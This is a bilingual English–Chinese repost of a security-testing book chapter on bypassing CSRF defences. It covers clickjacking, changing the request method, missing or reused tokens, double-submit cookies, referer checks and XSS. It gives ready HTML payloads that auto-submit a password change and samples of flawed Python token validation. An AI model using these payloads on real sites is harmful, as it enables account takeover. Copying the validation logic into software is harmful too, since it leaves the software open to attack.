返回介绍

Bypassing CSRF Protection

发布于 2024-10-11 20:33:58 字数 19516 浏览 0 评论 0 收藏 0

Modern websites are becoming more secure. These days, when you examine requests that deal with sensitive actions, they’ll often have some form of CSRF protection. However, the existence of protections doesn’t mean that the protection is comprehensive, well implemented, and impossible to bypass. If the protection is incomplete or faulty, you might still be able to achieve a CSRF attack with a few modifications to your payload. Let’s talk about techniques you can use to bypass CSRF protection implemented on websites.

现代网站变得更加安全。现在,当您检查涉及敏感操作的请求时,它们通常会有某种形式的 CSRF 保护。但是,保护的存在并不意味着保护是全面的,实施良好的并且不可能被绕过。如果保护不完整或有故障,您仍然可以通过对有效载荷进行一些修改来实现 CSRF 攻击。让我们谈谈您可以使用的绕过实施在网站上的 CSRF 保护的方法。

Exploit Clickjacking

If the endpoint uses CSRF tokens but the page itself is vulnerable to clickjacking, an attack discussed in Chapter 8 , you can exploit clickjacking to achieve the same results as a CSRF.

如果端点使用 CSRF 令牌,但页面本身容易受到点击劫持攻击(第 8 章中讨论的一种攻击),您可以利用点击劫持来实现与 CSRF 相同的结果。

This is because, in a clickjacking attack, an attacker uses an iframe to frame the page in a malicious site while having the state-changing request originate from the legitimate site. If the page where the vulnerable endpoint is located is vulnerable to clickjacking, you’ll be able to achieve the same results as a CSRF attack on the endpoint, albeit with a bit more effort and CSS skills.

因为在点击劫持攻击中,攻击者使用一个 iframe 将页面嵌入到恶意站点而将状态改变请求源自合法站点。如果存在漏洞让受攻击终端页面易于遭到点击劫持,攻击者可以在终端点上达到和 CSRF 攻击的同样效果,只需更多的努力与 CSS 技能。

Check a page for clickjacking by using an HTML page like the following one. You can place a page in an iframe by specifying its URL as the src attribute of an <iframe> tag. Then, render the HTML page in your browser. If the page that the state-changing function is located in appears in your iframe, the page is vulnerable to clickjacking:

使用以下 HTML 页面检查点击劫持。您可以通过将页面的 URL 指定为<iframe>标记的 src 属性来将页面放置在 iframe 中。然后,在浏览器中呈现 HTML 页面。如果包含状态更改函数的页面出现在您的 iframe 中,则该页面容易受到点击劫持攻击:

<html>
  <head>
    <title>Clickjack test page</title>
  </head>
  <body>
    <p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
    <iframe src="PAGE_URL" width="500" height="500"></iframe>
  </body>
</html>

Then you could use clickjacking to trick users into executing the state-changing action. Refer to Chapter 8 to learn how this attack works.

那么你可以使用点击劫持来欺骗用户执行状态变更操作。参考第 8 章以了解此攻击的工作原理。

Change the Request Method

Another trick you can use to bypass CSRF protections is changing the request method. Sometimes sites will accept multiple request methods for the same endpoint, but protection might not be in place for each of those methods. By changing the request method, you might be able to get the action executed without encountering CSRF protection.

您可以使用的另一种绕过 CSRF 保护的方法是更改请求方法。有时站点会接受相同端点的多个请求方法,但每种方法可能都没有保护措施。通过更改请求方法,您可能能够执行操作而不遇到 CSRF 保护。

For example, say the POST request of the password-change endpoint is protected by a CSRF token, like this:

例如,假设密码更改终端的 POST 请求由 CSRF 令牌保护,如下所示:

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&    csrf_token=871caef0757a4ac9691aceb9aad8b65b

You can try to send the same request as a GET request and see if you can get away with not providing a CSRF token:

您可以尝试将相同的请求作为 GET 请求发送,看一下是否可以免费提供 CSRF 令牌:

GET /password_change?new_password=abc123 
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

In this case, your malicious HTML page could simply look like this:

在这种情况下,你的恶意 HTML 页面可能看起来很简单,就像这样:

<html>
  <img src="https://email.example.com/password_change?new_password=abc123"/>
</html>

The HTML <img> tag loads images from external sources. It will send a GET request to the URL specified in its src attribute.

HTML <img> 标签从外部源加载图像。它将向其 src 属性中指定的 URL 发送 GET 请求。

If the password change occurs after you load this HTML page, you can confirm that the endpoint is vulnerable to CSRF via a GET request. On the other hand, if the original action normally uses a GET request, you can try converting it into a POST request instead.

如果在加载此 HTML 页面后密码更改发生,则可以通过 GET 请求确认该端点容易受到 CSRF 攻击。另一方面,如果原始操作通常使用 GET 请求,则可以尝试将其转换为 POST 请求。

Bypass CSRF Tokens Stored on the Server

But what if neither clickjacking nor changing the request method works? If the site implements CSRF protection via tokens, here are a few more things that you can try.

但如果既不能进行点击劫持,也不能更改请求方法,如果网站通过令牌实现了 CSRF 保护,那么你可以尝试以下几件事情。

Just because a site uses CSRF tokens doesn’t mean it is validating them properly. If the site isn’t validating CSRF tokens in the right way, you can still achieve CSRF with a few modifications of your malicious HTML page.

仅仅因为一个站点使用 CSRF 令牌并不意味着它正确地验证了它们。如果该站点没有以正确方式验证 CSRF 令牌,则您仍然可以通过一些恶意 HTML 页面的修改来实现 CSRF。

First, try deleting the token parameter or sending a blank token parameter. For example, this will send the request without a csrf_token parameter:

首先,尝试删除令牌参数或发送空令牌参数。例如,这将发送没有 csrf_token 参数的请求。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123

You can generate this request with an HTML form like this:

你可以使用以下 HTML 表单来生成此请求:

<html>
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

This next request will send a blank csrf_token parameter:

这个下一个请求会发送一个空的 csrf_token 参数。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&    csrf_token=

You can generate a payload like this by using an HTML form like the following:

通过使用以下 HTML 表单,您可以生成类似于这样的有效载荷:

<html>
  <form method="POST" action="https://email.example.com/password_change" id"csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type="text" name="csrf_token" value="">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

Deleting the token parameter or sending a blank token often works because of a common application logic mistake. Applications sometimes check the validity of the token only if the token exists, or if the token parameter is not blank. The code for an insecure application’s validation mechanism might look roughly like this:

删除令牌参数或发送空令牌通常有效,因为存在常见的应用程序逻辑错误。应用程序有时仅在令牌存在或令牌参数不为空时才检查令牌的有效性。不安全应用程序的验证机制代码可能大致如下:

def validate_token():
1 if (request.csrf_token == session.csrf_token):
    pass
  else:
2 throw_error("CSRF token incorrect. Request rejected.")
[...]

def process_state_changing_action():
  if request.csrf_token:
    validate_token()
3 execute_action()

This fragment of Python code first checks whether the CSRF token exists 1 . If it exists, the code will proceed to validate the token. If the token is valid, the code will continue. If the token is invalid, the code will stop the execution and produce an error 2 . On the other hand, if the token does not exist, the code will skip validation and jump to executing the action right away 3 . In this case, sending a request without the token, or a blank value as the token, may mean the server won’t attempt to validate the token at all.

这段 Python 代码首先检查 CSRF 令牌是否存在。如果存在,代码将进一步验证令牌。如果令牌有效,代码将继续执行。如果令牌无效,代码将停止执行并产生错误。另一方面,如果令牌不存在,代码将跳过验证,直接执行动作。在这种情况下,发送没有令牌或空值作为令牌的请求可能意味着服务器根本不会尝试验证令牌。

You can also try submitting the request with another session’s CSRF token. This works because some applications might check only whether the token is valid, without confirming that it belongs to the current user. Let’s say the victim’s token is 871caef0757a4ac9691aceb9aad8b65b , and yours is YOUR_TOKEN . Even though it’s hard to get the victim’s token, you can obtain your own token easily, so try providing your own token in the place of the legitimate token. You can also create another test account to generate tokens if you don’t want to use your own tokens. For example, your exploit code might look like this:

您也可以尝试使用另一个会话的 CSRF 令牌来提交请求。这是因为一些应用程序可能仅检查令牌是否有效,而不确认它属于当前用户。假设受害者的令牌是 871caef0757a4ac9691aceb9aad8b65b,您的令牌是 YOUR_TOKEN。即使很难获取受害者的令牌,您可以轻松获得自己的令牌,因此请尝试在合法令牌的位置提供您自己的令牌。如果您不想使用自己的令牌,还可以创建另一个测试帐户来生成令牌。例如,您的利用代码可能如下所示:

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=YOUR_TOKEN

The faulty application logic might look something like this:

有缺陷的应用逻辑可能类似于这样:

def validate_token():
  if request.csrf_token:
1  if (request.csrf_token in valid_csrf_tokens):
    pass
  else:
    throw_error("CSRF token incorrect. Request rejected.")

[...]

def process_state_changing_action():
  validate_token()
2 execute_action()

The Python code here first validates the CSRF token. If the token is in a list of current valid tokens 1 , execution continues and the state-changing action is executed 2 . Otherwise, an error is generated and execution halts. If this is the case, you can insert your own CSRF token into the malicious request!

这段 Python 代码首先验证 CSRF 令牌。如果该令牌在当前有效令牌列表之内,则进入执行第 1 步的状态,并执行状态变更的操作 2。否则,将产生错误并停止执行。如果是这样的话,您可以将自己的 CSRF 令牌插入到恶意请求中!

Bypass Double-Submit CSRF Tokens

Sites also commonly use a double-submit cookie as a defense against CSRF. In this technique, the state-changing request contains the same random token as both a cookie and a request parameter, and the server checks whether the two values are equal. If the values match, the request is seen as legitimate. Otherwise, the application rejects it. For example, this request would be deemed valid, because the csrf_token in the user’s cookies matches the csrf_token in the POST request parameter:

网站也通常使用双重提交 cookie 作为防范 CSRF 的一种方法。在这种技术中,改变状态的请求包含相同的随机令牌,既是一个 cookie,也是一个请求参数,服务器会检查这两个值是否相等。如果这些值相匹配,则请求被视为合法,在其他情况下,应用程序将拒绝该请求。例如,如果用户 cookies 中的 csrf_token 与 POST 请求参数中的 csrf_token 匹配,则此请求将被视为有效。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b

And the following one would fail. Notice that the csrf_token in the user’s cookies is different from the csrf_token in the POST request parameter. In a double-submit token validation system, it does not matter whether the tokens themselves are valid. The server checks only whether the token in the cookies is the same as the token in the request parameters:

而下一个则会失败。注意,在用户的 Cookie 中的 csrf_token 与 POST 请求参数中的 csrf_token 不同。在双重提交令牌验证系统中,令牌本身是否有效并不重要。服务器只检查 Cookie 中的令牌是否与请求参数中的令牌相同。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;     csrf_token=1aceb9aad8b65b871caef0757a4ac969 

(POST request body)
new_password=abc123&    csrf_token=871caef0757a4ac9691aceb9aad8b65b

If the application uses double-submit cookies as its CSRF defense mechanism, it’s probably not keeping records of the valid token server-side. If the server were keeping records of the CSRF token server-side, it could simply validate the token when it was sent over, and the application would not need to use double-submit cookies in the first place.

如果应用程序使用双重提交 cookie 作为其 CSRF 防御机制,则其可能没有在服务器端保留有效令牌的记录。如果服务器在服务器端保留 CSRF 令牌的记录,则可以在发送令牌时简单地验证令牌,并且应用程序不需要首先使用双重提交 cookie。

The server has no way of knowing if any token it receives is actually legitimate; it’s merely checking that the token in the cookie and the token in the request body is the same. In other words, this request, which enters the same bogus value as both the cookie and request parameter, would also be seen as legitimate:

服务器无法知道它收到的任何令牌是否真实合法;它仅检查 Cookie 中的令牌和请求正文中的令牌是否相同。换句话说,发送相同伪造值作为 Cookie 和请求参数的此请求也将被视为合法的:

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;     csrf_token=not_a_real_token 

(POST request body)
new_password=abc123&    csrf_token=not_a_real_token

Generally, you shouldn’t have the power to change another user’s cookies. But if you can find a way to make the victim’s browser send along a fake cookie, you’ll be able to execute the CSRF.

一般情况下,你不应该有更改其他用户的 cookies 的权力。但是,如果你能找到一种方法使受害者的浏览器发送一个虚假的 cookie,你就能执行 CSRF 攻击。

The attack would then consist of two steps: first, you’d use a session-fixation technique to make the victim’s browser store whatever value you choose as the CSRF token cookie. Session fixation is an attack that allows attackers to select the session cookies of the victim. We do not cover session fixations in this book, but you can read about them on Wikipedia ( https://en.wikipedia.org/wiki/Session_fixation ). Then, you’d execute the CSRF with the same CSRF token that you chose as the cookie.

攻击将包括两个步骤:首先,您将使用会话固定技术使受害者的浏览器存储您选择的 CSRF 令牌 cookie 的任何值。会话固定是一种攻击,允许攻击者选择受害者的会话 cookie。我们不在本书中涵盖会话固定,但可以在维基百科上阅读有关它们的内容(https://en.wikipedia.org/wiki/Session_fixation)。然后,您将使用与您选择的 CSRF 令牌相同的 CSRF 令牌执行 CSRF。

Bypass CSRF Referer Header Check

What if your target site isn’t using CSRF tokens but checking the referer header instead? The server might verify that the referer header sent with the state-changing request is a part of the website’s allowlisted domains. If it is, the site would execute the request. Otherwise, it would deem the request to be fake and reject it. What can you do to bypass this type of protection?

如果目标站点没有使用 CSRF 令牌而是检查引用头呢?服务器可能会验证随状态更改请求发送的引用头是否是网站允许列出的域的一部分。如果是,该站点将执行请求。否则,它将认为该请求是伪造的并拒绝它。你该怎么绕过这种保护?

First, you can try to remove the referer header. Like sending a blank token, sometimes all you need to do to bypass a referer check is to not send a referer at all. To remove the referer header, add a <meta> tag to the page hosting your request form:

首先,你可以尝试移除 Referer 头。就像发送一个空令牌一样,有时你只需要不发送 Referer 就可以绕过 Referer 检查。要移除 Referer 头,将一个<meta>标签添加到托管请求表单的页面即可:

<html>
      <meta name="referrer" content="no-referrer"> 
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

This particular <meta> tag tells the browser to not include a referer header in the resulting HTTP request.

这个特定的<meta>标签告诉浏览器不要在生成的 HTTP 请求中包含引荐头。

The faulty application logic might look like this:

错误的应用逻辑可能是这样的:

def validate_referer():
  if (request.referer in allowlisted_domains):
    pass
  else:
    throw_error("Referer incorrect. Request rejected.")

[...]

def process_state_changing_action():
  if request.referer:
    validate_referer()
  execute_action()

Since the application validates the referer header only if it exists, you’ve successfully bypassed the website’s CSRF protection just by making the victim’s browser omit the referer header!

由于该应用程序仅在存在 referer header 时进行验证,因此只需使受害者的浏览器省略 referer header,您就成功地绕过了网站的 CSRF 保护!

You can also try to bypass the logic check used to validate the referer URL. Let’s say the application looks for the string "example.com" in the referer URL, and if the referer URL contains that string, the application treats the request as legitimate. Otherwise, it rejects the request:

您还可以尝试绕过用于验证引用 URL 的逻辑检查。假设应用程序在引用 URL 中查找字符串"example.com",如果引用 URL 包含该字符串,则应用程序将请求视为合法。否则,它将拒绝该请求。

def validate_referer():
  if request.referer:
    if ("example.com" in request.referer):
      pass
  else:
    throw_error("Referer incorrect. Request rejected.")

[...]

def process_state_changing_action():
  validate_referer()
  execute_action()

In this case, you can bypass the referer check by placing the victim domain name in the referer URL as a subdomain. You can achieve this by creating a subdomain named after the victim’s domain, and then hosting the malicious HTML on that subdomain. Your request would look like this:

在这种情况下,您可以通过将受害者的域名作为子域名放置在 referer URL 中来绕过 referer 检查。 您可以通过创建以受害者域名命名的子域名,然后在该子域名上托管恶意 HTML 来实现这一点。 您的请求将如下所示:

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
    Referer: example.com.attacker.com 

(POST request body)
new_password=abc123

You can also try placing the victim domain name in the referer URL as a pathname. You can do so by creating a file with the name of the target’s domain and hosting your HTML page there:

你也可以将受害者的域名作为路径名放置在 referer URL 中。你可以通过创建一个以目标域名命名的文件,并在那里托管你的 HTML 页面来实现:

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
    Referer: attacker.com/example.com 

(POST request body)
new_password=abc123

After you’ve uploaded your HTML page at the correct location, load that page and see if the state-changing action was executed.

上传正确位置的 HTML 页面之后,加载该页面并查看是否执行了状态更改操作。

Bypass CSRF Protection by Using XSS

In addition, as I mentioned in Chapter 6 , any XSS vulnerability will defeat CSRF protections, because XSS will allow attackers to steal the legitimate CSRF token and then craft forged requests by using XMLHttpRequest . Often, attackers will find XSS as the starting point to launch CSRFs to take over admin accounts.

此外,如我在第六章中所提到的,任何 XSS 漏洞都将破坏 CSRF 保护,因为 XSS 将允许攻击者窃取合法的 CSRF 令牌,然后通过使用 XMLHttpRequest 构造伪造请求。经常,攻击者会将 XSS 作为启动 CSRF 攻击以接管管理员帐户的起点。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文